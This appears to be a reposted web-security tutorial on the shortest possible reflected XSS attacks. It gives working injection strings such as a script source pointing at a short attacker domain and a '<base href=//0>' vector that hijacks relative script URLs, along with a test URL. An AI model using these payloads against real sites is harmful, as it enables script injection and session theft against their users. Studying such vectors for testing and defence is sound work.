zoukankan      html  css  js  c++  java
  • 【XSS技巧拓展】————28、The Shortest Reflected XSS Attack Possible

    How to achieve a full reflected XSS attack which includes the ability to run a complete script and not just an alert popup with the least amount of characters? Some people already tried to answer this question like in here and here.

    As we may imagine it’s possible to have an URL parameter echoed in a source of a script:

    <script src=“INPUT”></script>

    which would make possible to launch a full XSS attack providing a source with a short domain like //14.rs (7 chars length). A variation decreases the injection to just 5 chars if double slashes are already in native code:

    <script src=“//INPUT”></script>

    However, both scenarios are very unlikely.

    There’s another one with 5 chars, which is also very unlikely but doesn’t rely on such direct javascript execution. With luck, it may appear in the wild so it’s good to know the mechanics. Consider the following simplest page:

    http://brutelogic.com.br/tests/short.php?q=brute

    It uses the 0.0.0.0 IP address as the href of the anchor for demo purposes, so we can try it locally. In a real vulnerable page it would need to be a valid yet expired domain (broken link) able to be acquired, spoofed or even compromised. Of course, this alone isn’t enough to exploit the page which would invalidate our next step.

    The injection is:

    http://brutelogic.com.br/tests/short.php?q=<base

    Which just inserts a <base tag before the <a one to hijack its href attribute (the acquired/spoofed domain). This sets the base URL of the document to something we control and then we just need a script in the page being called from a relative URL, which is not that difficult to find into a given page.

    Now setting a web server or just a listener on port 80 to deliver our script is enough to pop the alert (or anything we want):

    An useful dead link with the right conditions is really hard to find, but to deal with the alignment involving the injection and the anchor, the trick used here and probably some browser quirks may help.

    Anyway, in the cases where only the 2nd condition (script from relative URL) is met, we can still use the <base tag but this time providing the href:

    <base href=//0>

    Which is a full XSS vector with IP in decimal for a local PoC with just 15 chars.

    #hack2learn

    P.S.: it’s possible to use a domain name with just 4 chars like t.co and even a host name with just 1 char (“a”, for example) in an intranet attack.

    总会有不期而遇的温暖. 和生生不息的希望。
  • 相关阅读:
    [leetcode.com]算法题目
    [leetcode.com]算法题目
    [leetcode.com]算法题目
    [实战演练]2014年人人公司应届生校招技术笔试题
    [杂谈]笔试中一些数字逻辑推理(非技术)
    [实战演练]腾讯2013年校招软件开发类笔试题目(选择题部分)
    [实战演练]史上最长最醒目的队名
    [Linux]在linux中,常常用到ctrl和其他按键组合,常用的有哪些及意义呢
    [linux] grep awk sort uniq学习
    [IDEA] 快捷键学习
  • 原文地址:https://www.cnblogs.com/devi1/p/13486380.html
Copyright © 2011-2022 走看看